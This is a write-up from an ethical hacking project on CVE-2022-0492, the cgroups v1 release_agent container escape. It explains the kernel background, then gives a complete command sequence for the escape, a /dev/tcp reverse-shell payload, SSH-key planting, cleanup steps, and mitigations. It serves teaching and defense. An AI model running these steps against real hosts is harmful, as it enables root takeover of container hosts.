## https://sploitus.com/exploit?id=A62B0487-F3A8-5A3F-8261-9138314F6FF9
# Reproducing CVE-2022-0492
Advanced Ethical Hacking Project

## Introduction
CVE-2022-0492, also known as "Carpediem" is a vulnerability of the Linux kernel that was [reported](https://www.openwall.com/lists/oss-security/2022/02/04/1) by Huawei researchers Yiqi Sun and Kevin Wang in 2022, building on a proof of concept attack proposed by [Felix Wihelm in 2019](https://twitter.com/_fel1x/status/1151487051986087936), targeting control groups.
The attack exploits a vulnerability of the Control Groups v1 feature of the Linux kernel, and allows a user with certain root capabilities in a container to run arbitrary commands on the host system, effectively breaking out of the container.
## Table of Contents
1. [Control groups](#control-groups)
2. [Containerization](#containerization)
3. [Vulnerability](#vulnerability)
4. [Mitigation](#mitigation)
5. [Reproducing the attack](#reproducing-the-attack)
6. [References](#references)
## Control groups
Control groups are the workhorse of container solutions such as Docker, Firejail, Kubernetes, Podman, Apptainer (formerly Singularity), as well as LXC, and essentially allow a host kernel to separate processes into loosely isolated groups, allowing for more efficient resource utilization, accounting, and monitoring, as well as more granular privilege separation. The feature has been available [since Linux 2.6.24](https://kernelnewbies.org/Linux_2_6_24#Task_Control_Groups).
In contrast with virtualization, whereby a different kernel is run by a guest on top of (para-)virtualized hardware, containers use the host kernel for system calls, incurring in reduced resource overhead. Being part of the host OS process tree, containers provide a light-weight solution for isolating programs and their dependencies, as well as controlling resource utilization. At the same time, reduced isolation (vis-ร -vis virtualized systems) implies that a compromised container may access directly the host kernel, with potential security implications for the host system, as well as for other containers running on it. The attack hereby reproduced exploits a vulnerability of the Linux kernel [prior to version 4.15](https://packetstorm.news/files/id/166444), as well as abuses a mechanism of [control groups v1](https://docs.kernel.org/admin-guide/cgroup-v1/cgroups.html) (now superseded by control groups v2 on most distributions, for instance [Debian GNU/Linux](https://www.debian.org/releases/bullseye/amd64/release-notes/ch-whats-new.en.html#cgroupv2) and [RedHat](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html-single/9.5_release_notes/index#deprecated-functionalities-shells-and-command-line-tools)). Importantly, while nowadays most distributions are shipped with ```cgroups_v2```, version 1 is still available on hybrid systems for backward compatibility, as is for instance the default on Debian GNU/Linux up to Bullseye (currently oldstable).
### CGroups interface
The cgroups_v1 interface exposes several *group controllers*, each associated with a different resource type (e.g. cpu), via the virtual filesystem ```/sys/fs/cgroup```, allowing to control different types of resources by manipulating the virtual filesystem tree. Available controllers include:
- cpuset
- cpu
- memory
- pids
- rdma
Upon defining a cgroup (i.e. group of processes), group controllers can be mounted against the cgroup in order to control processes within the group. Within the mounted controller (exposed as a virtual filesystem), each control group is represented by a directory, with child groups defined as subdirectories.
### Example
The following example, taken from the [cgroups manpage](https://www.man7.org/linux/man-pages/man7/cgroups.7.html), briefly illustrates cgroups in action.
```bash
mount -t tmpfs cgroup_root /sys/fs/cgroup
mkdir /sys/fs/cgroup/cpuset
mount -t cgroup cpuset -o cpuset /sys/fs/cgroup/cpuset
cd /sys/fs/cgroup/cpuset
mkdir Charlie
cd Charlie
/bin/echo 2-3 > cpuset.cpus
/bin/echo $$ > tasks
sh
```
In the example, the ```cpuset``` controller is mounted, and a new group "Charlie" is created under the hierarchy. The group is assigned cpus 2 and 3, and finally the current process (with pid returned by ```$$```) is attached to the cgroup. Finally, a subprocess is started (in this example by spawning a shell), which will be automatically attached to the cgroup, thus inheriting the cgroup membership from the parent process.
Once a group controller is mounted, creating a subgroup is as simple as creating a subdirectory
```bash
mkdir /sys/fs/cgroup/cpuset/Charlie/Bravo
```
similarly, once all processes in the child group are completed, and the group is thus empty, the group is removed by
```bash
rmdir /sys/fs/cgroup/cpuset/Charlie/Bravo
```
Importantly, controller groups can be mounted also outside of the ```/sys/fs``` filesystem. A special mount type ```cgroup``` is provided to instruct the kernel to populate the mount point with controller-specific files.
```bash
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp
```
which populates the mount point
```bash
ls /tmp/cgrp
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks
```
The above listing shows two important files, namely `notify_on_release` and `release_agent`, which are relevant to the exploit and whose operation is explained in the sequel.
### Release agent
For traditional filesystems, the Linux kernel uses the ```inotify``` subsystem to inform applications about changes in files. Similarly, the cgroups_v1 hierarchy provides a mechanism called ```notify_on_release```, which allows to notify the system when a cgroup becomes empty. Specifically, the root directory in the control group contains a file named```release_agent``` with the path to an executable which is invoked by the host system whenever any child group becomes empty. If ```notify_on_release``` is set to ```1``` in at least one of the children groups, whenever the group is empty the binary listed in ```release_agent``` is run, e.g. to delete the now empty cgroup.
The attack hereby reproduced abuses the `release_agent` by pointing it to a malicious payload that is placed within the container, but executed by the root user in the host system when `notify_on_release` is triggered.
Before presenting the exploit, it is useful to spend a few words on containerization, and particularly on Docker, which will provide an entrypoint for the attack.
## Containerization
The Linux kernel offers several features to isolate groups of processes, which are used by container environments to operate. In addition to control groups, understanding the exploit requires basic knowledge of the following mechanisms:
- namespaces
- overlays
- capabilities
### Namespaces
[Namespaces](https://www.man7.org/linux/man-pages/man7/namespaces.7.html) are a Linux kernel feature that allow to isolate resources and confine them to a specific group of processes. Namespaces allow a host system to run several isolated groups of processes, so that disjoint groups cannot interact with each other or the host system's processes. The Linux kernel defines several namespaces, each providing isolation for a different system component, including
- user
- pid
- network
- hostname
- ipc
- time
- mount
- cgroups
and several others. Namespaces are a fundamental building block of container environments, and enable a host system to *simulate* a virtualized system by isolating a container within a collection of namespaces. However, in contrast to virtualized systems, at the end of the day containers are processes on the host system, making system calls directly to the host kernel, without the need for a virtualization engine that translates system calls. This is ultimately what makes escaping containers possible.
To interact with namespaces, the `unshare` binary can be used to create a new namespace from a parent one:
```bash
unshare bash
```
starting a shell in a new namespace. Namespace isolation can be controlled by the following `unshare` flags:
```bash
--mount unshare mounts namespace
-U unshare user namespace
-C unshare cgroup namespace
-r map current user to root
```
### Overlays
Overlay filesystems are another Linux kernel feature that provide core functionality to container environments, allowing to define (pseudo-)file systems on top of a base filesystem image. The feature, officially called `overlayfs` is provided by the [overlay kernel module](https://www.kernel.org/doc/html/latest/filesystems/overlayfs.html). At their core, overlays are a type of union filesystem whereby an *upper* read-write directory tree is merged with a lower, typically *read-only*, layer. Whenever a new file appears in the upper layer, it is available for read-write in the overlayed filesystem. When new directories are created in the upper layer, their contents are merged with the lower layer if the directory exists in the lower overlay.
Mounted overlays within a container can be accessed through `/etc/mtab`:
```bash
grep overlay /etc/mtab
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/5WPSBDWH46LAB6A52Q7U3RNOW2:/var/lib/docker/overlay2/l/BK2D6KIN4WOS2RG35AUAQRQC5A:/var/lib/docker/overlay2/l/A4WV4ZACWRJ4L5SPE4XPYY5VO5:/var/lib/docker/overlay2/l/2TLVQ2N544BGPHH6DT4E3B2WBA:/var/lib/docker/overlay2/l/CUP6NE2PK2LSRKQ3ZLJUSH6QT4,upperdir=/var/lib/docker/overlay2/ef9d87d5eb33b5450d7af96673c9288c59c63b8590fe488cec7c55855e52e20e/diff,workdir=/var/lib/docker/overlay2/ef9d87d5eb33b5450d7af96673c9288c59c63b8590fe488cec7c55855e52e20e/work 0 0
```
In the above listing, the root `/` of the example container is provided by overlayfs, with lowerdirs `/var/lib/docker/overlay2/l/` (corresponding to the layers of the docker image) and upperdir `/var/lib/docker/overlay2//diff`. Additionally, a `work` layer is provided for migrating files between the lower and upper layers.
Crucially, the displayed paths are relative to the root of the host system, rather than the container's root. Indeed, from the host filesystem, a root user can access any file on the container:
```bash
ls /var/lib/docker/overlay2/l/CUP6NE2PK2LSRKQ3ZLJUSH6QT4
bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var
```
In the attack reproduced in this project, a vulnerable host can be directed to a malicious payload in the upperdir `/var/lib/docker/overlay2//diff` of the container entrypoint.
### Capabilities
The last topic required to understand the attack is Linux *capabilities*. Capabilities are a feature of the Linux kernel that enable granular control of administrative privileges on a host, allowing to grant a process or thread only a restricted set of privileges rather than full root permissions. Capabilities include the ability to `chown`, `chgroup` files, but also to `mount` filesystems, as well as override access controls.
On POSIX operating systems, any user with `uid=0` and `gid=0` is considered root and thus enjoys root privileges on the host. By recalling that containers are effectively processes isolated by namespaces, whenever the `root` user on a container is mapped to `uid 0, gid 0` outside the container namespace, then the user has actual root capabilities on the host machine. Nevertheless, by restricting the capabilities of a container, the root user within the container can only perform certain privileged actions.
It is important to note that, while it is in general best practice to never map root users on containers to `uid 0` (or alternatively, applications inside containers should be run by non-privileged users), the default Docker configuration maps root to `uid 0`, and several container images available in online registers have `root` as their default user, making the presented attack viable in environments running the default Docker configuration.
Upon starting a container, the docker daemon allows to control capabilities via the `--cap-add` and `--cap-drop` flags. In general, it is good practice to drop all capabilities from a container, and then manually add capabilities as required for the applications inside the container to run.
```bash
docker run --cap-drop=ALL --cap-add=CAP_CHOWN ...
```
Finally, in addition to controlling capabilities, security of applications can be enforced via *security policies*, typically controlled by `seccomp`, `SELinux` or `AppArmor`. For instance, a container could be granted the `CAP_SYS_ADMIN` privilege, but the security policy might prevent the container user from running `mount` to manipulate the mount table, thus providing an additional layer of security.
Having covered some of the important building blocks of containers, the next section presents the vulnerability of interest.
## Vulnerability
The attack reproduced in this project abuses the `release_agent` mechanism of CGroups v1 to run arbitrary commands on a vulnerable host. The entrypoint required for the attack is a running container (not necessarily through Docker), whereby the following holds:
- The vulnerable host runs CGroups v1 (or CGroups v1 and v2 in hybrid mode)
- The attacker has access to the `root` user on the container
- The root user on the container is mapped to root on the vulnerable host
- While the container is not required to run in `privileged` mode, the user on the container must be granted some capabilities, described below.
- Finally, security policies must be disabled
According to the [Linux capabilities man page](https://www.man7.org/linux/man-pages/man7/capabilities.7.html), the following capabilities are required in order to mount cgroups and override the `release_agent`:
- CAP_SYS_ADMIN (in order to execute `mount`)
- CAP_DAC_OVERRIDE (in order to override some access controls)
### Reconnaissance
Assuming that an attacker has gained access to a container, and that the attacker has obtained a root shell, the first step is determining whether indeed the compromised system is a container. For Docker, this can be accomplished by checking whether `.dockerenv` is present in the container's root `/`. Another telltale sign is whether `/dev` is underpopulated
```bash
ls /dev
core full null pts shm stdin tty zero
fd mqueue ptmx random stderr stdout urandom
```
The second step is determining whether the container is running with `cgroups_v1`
```bash
[ $(stat -fc %T /sys/fs/cgroup/) = "cgroup2fs" ] && echo "unified" || ( [ -e /sys/fs/cgroup/unified/ ] && echo "hybrid" || echo "legacy")
```
If `legacy` or `hybrid` is returned, then cgroups_v1 is available.
The third step is checking the container's capabilities:
```bash
cat /proc/self/status | tr '\t' ' ' | grep Cap | uniq | grep -v '0000000000000000'
CapPrm: 00000000002404c2
CapEff: 00000000002404c2
CapBnd: 00000000002404c2
```
Each returned hexcode can be decoded via the `capsh` command:
```bash
casph --decode=00000000002404c2 | grep -i cap_sys_admin
0x00000000002404c2=cap_dac_override,cap_setgid,cap_setuid,cap_net_bind_service,cap_sys_chroot,cap_sys_admin
```
Finally, the container's `seccomp` status should be inspected
```bash
cat /proc/$$/attr/current
```
If the output is `disabled` or `unconfined`, then the attack should be able to run!
### Abusing notify_on_release
A user with `CAP_SYS_ADMIN` capabilities can create a control group and mount a group controller against it. The [proof of concept attack](https://twitter.com/_fel1x/status/1151487051986087936) described by Felix Wihelm exploits the `rdma` controller (alternatively, using the `memory` controller is also suggested).
```bash
mkdir /tmp/cgroup
mount -t cgroup -o rdma cgroup /tmp/cgroup
ls /tmp/cgroup
cgroup.clone_children cgroup.procs cgroup.sane_behavior docker notify_on_release release_agent tasks
```
If the mount is successful, the cgroup's `release_agent` can be modified to point to a malicious payload installed by the attacker. The payload can be installed in the root overlay's upperdir:
```bash
/bin/echo "#! /bin/bash" > /cmd
/bin/echo "$MALICIOUS_PAYLOAD" >> /cmd
chmod a+x /cmd
```
*`/bin/echo` should be preferred to the bash-builtin `echo`, since it returns failure codes*
In order for the payload to be correctly executed by the host, the cgroup's `release_agent` should contain the absolute path to the payload, w.r.t. to the host's root filesystem. This can be easily accomplished by inspecting the container's `/etc/mtab`, and determining the path to the upperdir layer of the container's root overlay:
```bash
hostdir="$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)"
echo "$hostdir/cmd" > /tmp/cgroup/release_agent
```
Next, a child cgroup is created, and `notify_on_release` is set to `1`
```bash
mkdir /tmp/cgroup/x
echo "1" > /tmp/cgroup/x/notify_on_release
```
Finally, the parent's cgroup release agent is executed upon triggering `notify_on_release` in the child cgroup. This is accomplished by attaching a process to the child's cgroup and make the process exit, leaving the cgroup empty
```bash
sh -c "echo \$\$ > /tmp/cgroup/x/cgroup.procs"
```
If all worked out correctly, the host's root should have executed the malicious payload, potentially granting access to the host OS.
### CVE-2022-0492
For unprivileged containers running without `CAP_SYS_ADMIN` capabilities, a [vulnerability](https://nvd.nist.gov/vuln/detail/CVE-2022-0492) in the Linux kernel [up to version 4.15](https://packetstorm.news/files/id/166444) allows to gain the `mount` capability by creating a new namespace with the `mount` permission, if `CAP_DAC_OVERRIDE` is granted to the container. To exploit the vulnerability, a new namespace can be created from the current one:
```bash
unshare -UmrC bash
```
Upon creating the new namespace, a vulnerable Linux kernel does not check whether the current namespace is granted the `CAP_SYS_ADMIN` capability, thus allowing the user to access the `mount` namespace via `unshare` even when lacking `CAP_SYS_ADMIN`.
### Interesting payloads
Several interesting payloads can be injected in the host system via the `notify_on_release` mechanism. If the attacker has access to a public IP, a reverse shell can be used as payload, by instructing the host container to open a tcp connection towards the attacker's IP:
```bash
MALICIOUS_PAYLOAD='bash -i >& /dev/tcp/X.X.X.X/4321 0>&1'
```
The payload starts an interactive bash session, redirecting its standard output and standard error to the `/dev/tcp/X.X.X.X/4321` target. The input file descriptor is redirected to standard output, making sure the three file descriptors are all redirected to the target. Finally, the target is translated by bash to a system call, instructing the host system to open a tcp connection to IP `X.X.X.X` and port `4321`. An attacker running a tcp listener on IP `X.X.X.X` and port '4321' can receive traffic from the compromised host, and obtain root shell access!
If the attacker does not have access to a public IP for running a reverse shell, alternative malicious payloads include attempting to install the attacker's public ssh key to the `/root/.ssh/authorized_keys` file of the compromised host, thus (hopefully) gaining ssh access.
### Cleaning up after the attack
Finally, the last step is cleaning up after the attack is successful
```bash
rm /cmd
echo "0" > /tmp/cgroup/x/notify_on_release
echo "" > /tmp/cgroup/release_agent
rmdir /tmp/cgroup/x
umount /tmp/cgroup && rmdir /tmp/cgroup
```
### Severity
At the time of discosure, CVE-2022-0492 was [assigned a severity of 7.8 (HIGH)](https://nvd.nist.gov/vuln/detail/CVE-2022-0492). While at the time of writing modern GNU/Linux distributions have switched to CGroups v2, older systems still run CGroups v1 in hybrid (compatibility) mode. Furthermore, while best practices recommend to run unprivileged containers whenever possible, certain applications require `CAP_SYS_ADMIN` capabilities in order to function, and this should be enabled within the `secccomp` policy. A notable example is the [NVIDIA NSight profiler](https://docs.nvidia.com/nsight-systems/2024.5/ReleaseNotes/index.html), used to analyze CUDA applications.
## Mitigation
The following steps provide protection against CVE-2022-0492:
- Ensuring the host is running `cgroups_v2`. On modern GNU/Linux distributions, this is already the default version of the kernel feature. On older, hybrid systems, the legacy cgroups can be disabled by adding the following parameter to the kernel command line `systemd.unified_cgroup_hierarchy=1,cgroup_no_v1=all`.
- Ensuring the Linux kernel is running [the following patch, closing CVE-2022-0492](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af)
At the container level, good practices include:
- ensuring applications within a container are run by unprivileged users
- if root is used inside a container namespace, ensuring that `root` inside the container is mapped to non-zero `uid` and `gid` in the host system
- if `CAP_SYS_ADMIN` is required by the container, but `mount` is not needed, it can be disabled via an appropriate `seccomp` policy
## Reproducing the attack
To conclude [INSTALL.md](INSTALL.md) details the steps required for setting up a minimal working environment for reproducing the exploit locally.
---
## References
### CVE
1. [CVE-2022-0492](https://nvd.nist.gov/vuln/detail/CVE-2022-0492)
2. [CVE-2022-0492 announcement](https://www.openwall.com/lists/oss-security/2022/02/04/1)
3. [Felix Wihelm's proof of concept attack](https://twitter.com/_fel1x/status/1151487051986087936)
4. [Linux kernel patch](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af)
5. [Container escape techniques](https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.html)
6. [Understanding Docker Container Escapes](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
### Linux kernel documentation
7. [CGroups_v1](https://docs.kernel.org/admin-guide/cgroup-v1/cgroups.html)
8. [Namespaces](https://www.man7.org/linux/man-pages/man7/namespaces.7.html)
9. [Overlayfs](https://www.kernel.org/doc/html/latest/filesystems/overlayfs.html)
10. [Capabilities](https://www.man7.org/linux/man-pages/man7/capabilities.7.html)
### Misc
11. [Inspecting Container Capabilities](https://dockerlabs.collabnix.com/advanced/security/capabilities/)
12. [Reverse shells](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)